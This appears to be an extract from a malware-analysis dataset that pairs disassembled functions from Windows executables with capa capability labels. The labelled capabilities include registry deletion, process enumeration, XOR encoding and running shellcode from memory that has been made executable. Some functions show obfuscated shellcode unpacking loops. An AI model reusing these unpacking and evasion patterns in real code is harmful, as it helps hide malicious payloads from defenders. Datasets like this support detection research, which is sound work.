joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41974f
Capabilities:
Delete file
Delete registry value
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
mov edi, 0x400
lea eax, [ebp - 0x41c]
push edi
push eax
call fcn.0041c630
mov esi, dword [sym.imp.kernel32.dll_DeleteFileA]
pop ecx
pop ecx
test eax, eax
js 0x419782
lea eax, [ebp - 0x41c]
push eax
call esi
lea eax, [ebp - 0x41c]
push eax
call fcn.0041c630
pop ecx
test eax, eax
je 0x4197ab
lea eax, [ebp - 0x41c]
push eax
push eax
call fcn.0041c630
pop ecx
pop ecx
lea eax, [ebp - 0x41c]
push eax
call esi
call fcn.0041c630
xor esi, esi
push esi
push str.PreDownldStatus
push esi
call fcn.0041c630
mov ebx, dword [sym.imp.advapi32.dll_RegEnumKeyA]
add esp, 0xc
push edi
lea eax, [ebp - 0x41c]
push eax
mov dword [ebp - 4], esi
push esi
mov esi, SysStringLen
jmp 0x41984c
inc dword [ebp - 4]
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push 0x20019
lea eax, [ebp - 0x41c]
push eax
push esi
lea ecx, [ebp - 0x1c]
call fcn.0041c630
lea ecx, [ebp - 0x10]
test eax, eax
jne 0x419834
push 0x2001f
push 0x439050
push dword [ebp - 0x1c]
call fcn.0041c630
test eax, eax
jne 0x419831
push str.VersionXmlURL
push dword [ebp - 0x10]
call dword [sym.imp.advapi32.dll_RegDeleteValueA]
lea ecx, [ebp - 0x10]
call fcn.0040a137
lea ecx, [ebp - 0x1c]
call fcn.0040a137
push edi
lea eax, [ebp - 0x41c]
push eax
push dword [ebp - 4]
push esi
call ebx
test eax, eax
je 0x4197da
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41a6a5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4470e0], 0
push esi
push edi
jne 0x41a61b
call fcn.0041a587
test eax, eax
je 0x41a660
mov eax, dword [0x4470e0]
cmp eax, 1
jne 0x41a63c
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x41a660
jmp 0x41a6a2
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x41a6a2
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x41a664
xor eax, eax
jmp 0x41a6a2
mov eax, dword [esi]
push dword [0x4470e0]
call edi
mov edi, eax
test edi, edi
je 0x41a686
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x41a6a2
lea edi, [esi + 0xff0]
push esi
push dword [0x4470e0]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x41a68c
mov eax, esi
pop edi
pop esi
ret
jmp 0x41a607

Function at 0x42208d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x445e00]
jne 0x422097
repz ret
jmp fcn.004281f4
Function at 0x100216a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x100216af
pop dword [ebp - 0x2c]
mov eax, 0x211e8862
sub eax, 0x111c71b3
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xa3cc2f29
add dword [ebp - 0x3c], 0xaa861622
mov dword [ebp - 0x38], 0x7c9a7f13
add dword [ebp - 0x38], 0xb598cd32
mov dword [ebp - 0x34], 0x9ed3776
sub dword [ebp - 0x34], 0xbda0f348
mov dword [ebp - 0x30], 0x34eed51
sub dword [ebp - 0x30], 0x34eed51
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xbc03ab04
sub eax, 0xabffbad0
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x77c9da04
add dword [ebp - 0x3c], 0xfca88f52
mov dword [ebp - 0x38], 0xb2b7ac6c
add dword [ebp - 0x38], 0x8eb4b509
mov dword [ebp - 0x34], 0xd8bbd865
sub dword [ebp - 0x34], 0x754c6bf9
mov dword [ebp - 0x30], 0x54ba9ed9
add dword [ebp - 0x30], 0xab456127
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xee23d090
add eax, 0x21e01fbc
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x463ba
push 0
call eax
mov ecx, 0x93efe42f
add ecx, 0x6c106497
mov edi, eax
mov esi, 0x6943d46a
add esi, 0xa6c17996
add esi, dword [ebp - 0x2c]
mov ebx, 0xad9ee037
sub dword [ebp - 0x28], esi
mov edx, dword [esi]
xor dword [ebp - 0x28], 0x29f8852d
add edx, ebx
add dword [ebp - 0xc], 0x656a9912
mov dword [edi], edx
mov dword [ebp - 0x24], 0x8b152fdd
add edi, 4
add esi, 0x65829658
sub esi, 0x65829654
loop 0x100217cb
add eax, 0xce659709
sub eax, 0xce64811e
mov ebx, eax
add eax, 0x8f847de7
add eax, 0x707b821e
mov ecx, 0x6959e844
add ecx, 0xa6a617bc
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x100366e0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003e348
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1004e2d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1004e28c]
cmp eax, 0xffffffff
jne 0x10036716
xor ebx, ebx
jmp 0x1003671f
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
test ebx, ebx
je 0x1003675f
mov eax, dword [ebx + 0x18]
mov esi, dword [ebx + 0xc]
test eax, eax
jne 0x1003679e
test esi, esi
jne 0x100367a2
push 0x10035270
push 0x1004fad8
call fcn.100216a0
mov eax, dword [0x1004e28c]
add esp, 8
cmp eax, 0xffffffff
je 0x1003675f
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [ebp - 4], 1
test ebx, ebx
je 0x1003678c
or eax, 0xffffffff
lock xadd dword [ebx + 4], eax
jne 0x1003678c
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x100367e4
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x100367cd
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x100367a2
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x10036730
nop
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x10036809
mov edx, dword [esi + 0x1c]
test edx, edx
je 0x10036809
mov eax, dword [ecx]
push edx
call dword [eax + 4]
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebx + 0x14]
call fcn.100216a0
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x100367f0
jmp 0x10036730
Function at 0x4079f0
Capabilities:
Encode data using xor

Disassembly:
push edi
push esi
push ebp
push ebx
sub esp, 0x20c
mov eax, ecx
mov edx, 4
bsr ebp, edx
mov ebx, edx
lea ecx, [ebp + 0x1f]
shr ebx, cl
and ebx, 1
lea esi, [ebx + ebp*2]
mov ecx, esi
shr ecx, 1
dec ecx
mov ebx, esi
and ebx, 1
or ebx, 2
shl ebx, cl
add esi, esi
neg esi
add esi, eax
lea edi, [esi + ebx*2]
neg ebx
add ebx, edx
xor esi, esi
test ecx, ecx
je 0x407a8d
mov dword [esp + 0x208], edi
mov dword [esp + 0x200], edx
mov dword [esp + 0x204], eax
mov ebp, 1
mov edx, dword [esp + 0x208]
movzx edx, word [edx + ebp*2 + 0x67e]
mov eax, ebx
and eax, 1
shr ebx, 1
mov edi, eax
neg edi
and edi, 0x7ff
xor edx, edi
shr edx, 4
lea ebp, [eax + ebp*2]
add esi, dword [edx*4 + 0x445400]
dec ecx
jne 0x407a4d
mov edx, dword [esp + 0x200]
mov eax, dword [esp + 0x204]
mov dword [esp + edx*4], esi
inc edx
cmp edx, 0x80
jb 0x407a01
xor edx, edx
mov ebp, dword [eax + 0x11c]
mov esi, edx
shl esi, 7
lea esi, [esi + eax + 0x480]
mov ebx, edx
shl ebx, 8
lea ebx, [ebx + eax + 0x78a0b0]
test ebp, ebp
jbe 0x407b1d
mov dword [esp + 0x200], edx
xor edi, edi
mov edx, edi
or edx, 0x40
xor ebp, ebp
mov dword [esp + 0x204], eax
mov eax, edx
and eax, 0xfffffffe
movzx eax, word [eax + esi]
mov ecx, edx
and ecx, 1
neg ecx
and ecx, 0x7ff
xor eax, ecx
shr eax, 4
shr edx, 1
add ebp, dword [eax*4 + 0x445400]
cmp edx, 1
jne 0x407ad8
mov eax, dword [esp + 0x204]
mov dword [ebx + edi*4], ebp
mov ebp, dword [eax + 0x11c]
inc edi
cmp edi, ebp
jb 0x407aca
mov edx, dword [esp + 0x200]
cmp ebp, 0xe
jbe 0x407b41
mov ebp, 0xe
mov esi, dword [ebx + ebp*4]
mov edi, ebp
shr edi, 1
shl edi, 4
lea esi, [esi + edi - 0x50]
mov dword [ebx + ebp*4], esi
inc ebp
cmp ebp, dword [eax + 0x11c]
jb 0x407b27
mov ebp, dword [ebx]
mov dword [esp + 0x204], eax
mov esi, edx
shl esi, 9
lea esi, [esi + eax + 0x78a4b0]
mov dword [esi], ebp
mov edi, dword [ebx + 4]
mov dword [esi + 4], edi
mov ebp, dword [ebx + 8]
mov dword [esi + 8], ebp
mov ebp, dword [ebx + 0xc]
mov dword [esi + 0xc], ebp
mov ebp, 4
bsr eax, ebp
mov edi, ebp
lea ecx, [eax + 0x1f]
shr edi, cl
mov ecx, dword [esp + ebp*4]
and edi, 1
lea eax, [edi + eax*2]
add ecx, dword [ebx + eax*4]
mov dword [esi + ebp*4], ecx
inc ebp
cmp ebp, 0x80
jb 0x407b6f
mov eax, dword [esp + 0x204]
inc edx
cmp edx, 4
jb 0x407a9f
mov dword [eax + 0xf0], 0
add esp, 0x20c
pop ebx
pop ebp
pop esi
pop edi
ret
Function at 0x409b60
Capabilities:
Encode data using xor

Disassembly:
push edi
push esi
xor eax, eax
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
or edx, 0x100
mov esi, edx
shr esi, 8
movzx esi, word [ecx + esi*2]
mov edi, edx
shr edi, 7
and edi, 1
neg edi
and edi, 0x7ff
xor esi, edi
shr esi, 4
add edx, edx
add eax, dword [esi*4 + 0x445400]
cmp edx, 0x10000
jb 0x409b72
pop esi
pop edi
ret 8

Function at 0x40a320
Capabilities:
Encode data using xor

Disassembly:
push edi
push esi
push ebp
push ebx
mov esi, dword [esp + 0x1c]
xor eax, eax
mov edx, 0x100
mov ecx, dword [esp + 0x18]
or ecx, 0x100
add esi, esi
mov edi, edx
and edi, esi
add edi, edx
mov ebx, ecx
shr ebx, 7
mov ebp, ebx
and ebp, 0xfffffffe
add ebp, dword [esp + 0x14]
movzx ebp, word [ebp + edi*2]
and ebx, 1
neg ebx
and ebx, 0x7ff
xor ebp, ebx
shr ebp, 4
add ecx, ecx
add eax, dword [ebp*4 + 0x445400]
mov ebx, esi
xor ebx, ecx
not ebx
and edx, ebx
cmp ecx, 0x10000
jb 0x40a339
pop ebx
pop ebp
pop esi
pop edi
ret 0xc

Function at 0x41b4d2
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4207f0
push 0x41b6c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x486008], 0xffffffff
or dword [0x48600c], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x4859cc]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x4859c8]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x486010], eax
call fcn.0041b66b
cmp dword [0x422170], 0
jne 0x41b555
push 0x41b668
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.0041b650
push 0x42201c
push 0x422018
call sub.MSVCRT.dll__initterm
mov eax, dword [0x4859c4]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x4859c0]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x422014
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call section..text
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x10015057
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002dffa
call fcn.10016e35
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10015074
xor eax, eax
jmp 0x10015151
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x1001514f
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x10015125
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.1000127b
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.1000127b
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10001cc6
lea ecx, [ebp - 0x240]
call fcn.10001cc6
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.100215c1
pop ecx
pop ecx
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test al, al
jne 0x1001512f
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10001eb4
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x100150a4
jmp 0x10015148
mov edi, dword [ebp - 0x234]
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10001eb4
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10016ddf
ret

Function at 0x100215c1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x100215d0
pop dword [ebp - 0x20]
mov eax, 0x9a99efe6
sub eax, 0x8a97da16
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push SetEnvironmentVariableW
push 0
mov eax, 0xc93aead8
add eax, 0x46c81684
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x48f6
mov edi, eax
mov esi, 0x2d1814da
add esi, 0xe2eca726
add esi, dword [ebp - 0x20]
mov ebx, 0x6283dc27
sub ebx, 0xb8a15b49
mov dword [ebp - 8], 0xee36dd45
mov edx, dword [esi]
add dword [ebp - 0x14], ebx
sub edx, ebx
xor dword [ebp - 4], ebx
mov dword [edi], edx
xor dword [ebp - 0x18], 0x5b01fb42
add edi, 0x4a585d06
add edi, 0xb5a7a2fe
add esi, 4
loop 0x10021629
add eax, 0x116ab
mov ebx, eax
add eax, 0x5ad25a0e
add eax, 0xa52da5f7
mov ecx, 0x658ea21f
sub ecx, 0x558ea21f
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x1005c7b3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100a9070]
jne 0x1005c7bd
repz ret
jmp fcn.100651c3
Function at 0x1002e9cf
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
movzx eax, byte [ebp + 0x24]
test eax, eax
je 0x1002eab9
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 0x28]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x1002ea27
push 0x1b7c
push 0x23d2
push 0
push 0x1038
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
jmp 0x1002eab4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], eax
xor eax, eax
jne 0x1002ea69
mov eax, dword [ebp - 0x3c]
cmp dword [eax], 0
jne 0x1002ea69
and dword [ebp - 0x10], 0
jmp 0x1002ea70
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x10]
je 0x1002ea83
mov dword [ebp - 0x40], 1
jmp 0x1002ea87
and dword [ebp - 0x40], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0
jne 0x1002eaa5
mov eax, dword [ebp - 0x44]
cmp dword [eax], 0
jne 0x1002eaa5
and dword [ebp - 0x14], 0
jmp 0x1002eaac
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
jmp 0x1002eb52
lea eax, [ebp + 8]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
movzx eax, byte [eax]
test eax, eax
je 0x1002eb3d
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 4]
mov dword [eax], 6
jmp 0x1002eb09
mov eax, dword [ebp - 4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 5
jg 0x1002eb3b
mov dword [ebp - 8], 0
mov dword [ebp - 8], 0x18
jmp 0x1002eb28
mov eax, dword [ebp - 8]
dec eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffea
jl 0x1002eb39
mov eax, dword [ebp - 0x60]
mov dword [eax], 0xfffffffa
jmp 0x1002eb21
jmp 0x1002eafe
jmp 0x1002eb52
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
mov dword [eax], 0xfffffffa
mov esp, ebp
pop ebp
ret
Function at 0x10037c82
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
movzx eax, byte [ebp + 0x20]
test eax, eax
je 0x10037d32
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x2c], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x10037d03
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x10037ce4
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 1
jge 0x10037d01
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x28]
call fcn.1000ed39
mov dword [eax], 2
jmp 0x10037cd9
jmp 0x10037d2d
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
movzx eax, byte [eax]
test eax, eax
je 0x10037d2d
push 0x260e
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x10037e09
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x38], 0x22bc
cmp dword [ebp - 0x38], 0x1217
jge 0x10037dde
lea eax, [ebp - 8]
push eax
mov ecx, 0x10660630
call fcn.1000e895
mov eax, dword [ebp - 8]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 8]
dec eax
mov dword [ebp - 8], eax
cmp dword [ebp - 0x3c], 0
je 0x10037dde
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x44]
push eax
mov ecx, 0x10660630
call fcn.1000e895
mov ecx, eax
call fcn.1000e895
mov ecx, eax
call fcn.1000e895
mov ecx, eax
call fcn.1000e895
push fcn.100132aa
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x40]
add eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x10]
push eax
mov ecx, 0x10660578
call fcn.1000ea90
mov dl, 0x20
mov ecx, eax
call fcn.10048c9c
mov ecx, eax
call fcn.1000ea90
mov ecx, eax
call fcn.1000ea84
jmp 0x10037d60
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x48], eax
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push dword [ebp - 0x50]
push dword [ebp - 0x54]
push dword [ebp - 0x58]
push 1
call fcn.1002658e
add esp, 0x18
mov esp, ebp
pop ebp
ret
Function at 0x1003b434
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x1003b465
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0xc], eax
push 0x2a13
push dword [ebp - 8]
push 1
push dword [ebp - 0xc]
call fcn.1003b4e1
add esp, 0x10
jmp 0x1003b4dd
lea eax, [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x1003b4bc
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
push 1
mov ecx, dword [ebp - 4]
call fcn.1000ed39
push 1
mov ecx, dword [ebp - 4]
call fcn.1000ed39
mov ecx, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ecx], eax
jmp 0x1003b4dd
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
movzx eax, byte [eax]
test eax, eax
je 0x1003b4dd
push 0x378
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov esp, ebp
pop ebp
ret
Function at 0x1006a505
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10074748]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1005c3b8
mov dword [ebp - 0x14], eax
cmp dword [0x10661698], esi
jne 0x1006a5f8
push 0x800
push esi
push 0x100075f0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1006a585
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1006a6d8
push esi
push esi
push 0x100075f0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1006a6d8
push 0x10007608
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1006a6d8
push eax
call ebx
push 0x10007614
push edi
mov dword [0x10661698], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007624
push edi
mov dword [0x1066169c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007638
push edi
mov dword [0x106616a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x106616a8], eax
test eax, eax
je 0x1006a5f5
push 0x10007654
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x106616a4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1006a61d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1006a610
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1006a632
push 4
pop eax
jmp 0x1006a6da
cmp dword [ebp - 0x14], esi
je 0x1006a632
push dword [0x10661698]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1006a617
mov eax, dword [0x106616a4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1006a690
cmp dword [0x106616a8], edi
je 0x1006a690
push eax
call ebx
push dword [0x106616a8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1006a690
test eax, eax
je 0x1006a690
call ecx
test eax, eax
je 0x1006a685
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1006a685
test byte [ebp - 8], 1
jne 0x1006a690
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1006a6c0
mov eax, dword [0x1066169c]
cmp eax, edi
je 0x1006a6bd
push eax
call ebx
test eax, eax
je 0x1006a6bd
call eax
mov esi, eax
test esi, esi
je 0x1006a6bd
mov eax, dword [0x106616a0]
cmp eax, edi
je 0x1006a6bd
push eax
call ebx
test eax, eax
je 0x1006a6bd
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x10661698]
call ebx
test eax, eax
je 0x1006a6d8
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1006a6da
xor eax, eax
